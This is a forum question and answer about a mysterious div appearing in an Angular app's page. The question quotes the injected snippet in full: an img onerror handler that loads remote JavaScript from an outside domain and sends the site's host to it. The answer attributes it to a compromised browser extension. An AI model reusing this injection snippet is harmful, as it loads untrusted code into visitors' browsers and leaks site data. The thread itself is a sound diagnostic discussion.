Angular unknown div appearing at bottom of body tag?

Question

There's a div appearing at the bottom of my webpages on an angular project I'm building. It seems to be caused by the following div which appears at the end of my body tag.

<div>
    <img src(unknown) onerror="var s=document.createElement(&quot;script&quot;);s.type=&quot;text/javascript&quot;;s.id=&quot;cczedcc-plg-analytics&quot;;s.src=&quot;https://data1.egletrip.com/scripts/js?k=5bed7ffd85df1a39468b4567&amp;s=&quot;+encodeURI(btoa(window.location.host));document.getElementsByTagName(&quot;head&quot;)[0].appendChild(s);">
</div>

The only item in my body tag is a router outlet, but the div still appears even with that removed. I think this might be due to one of my node modules but I can't figure out which.

package.json

"dependencies": {
    "@angular/animations": "~11.0.0",
    "@angular/common": "~11.0.0",
    "@angular/compiler": "~11.0.0",
    "@angular/core": "~11.0.0",
    "@angular/forms": "~11.0.0",
    "@angular/platform-browser": "~11.0.0",
    "@angular/platform-browser-dynamic": "~11.0.0",
    "@angular/router": "~11.0.0",
    "bootstrap": "^4.5.3",
    "jquery": "^3.5.1",
    "popper": "^1.0.1",
    "rxjs": "~6.6.0",
    "tslib": "^2.0.0",
    "zone.js": "~0.10.2"
},
"devDependencies": {
    "@angular-devkit/build-angular": "~0.1100.1",
    "@angular/cli": "~11.0.1",
    "@angular/compiler-cli": "~11.0.0",
    "@types/jasmine": "~3.6.0",
    "@types/node": "^12.11.1",
    "codelyzer": "^6.0.0",
    "jasmine-core": "~3.6.0",
    "jasmine-spec-reporter": "~5.0.0",
    "karma": "~5.1.0",
    "karma-chrome-launcher": "~3.1.0",
    "karma-coverage": "~2.0.3",
    "karma-jasmine": "~4.0.0",
    "karma-jasmine-html-reporter": "^1.5.0",
    "protractor": "~7.0.0",
    "ts-node": "~8.3.0",
    "tslint": "~6.1.0",
    "typescript": "~4.0.2"
}

Answer 1

I think one of your browser extensions is bought by a malicious party and is being used to inject code into your textfields or post data.

One of my users had the same issue and I bumped into this article: https://www.perimeterx.com/tech-blog/2020/the-missing-lnkr/

I still need to dig a bit deeper (I found this question doing research), but that code looks suspicious AF.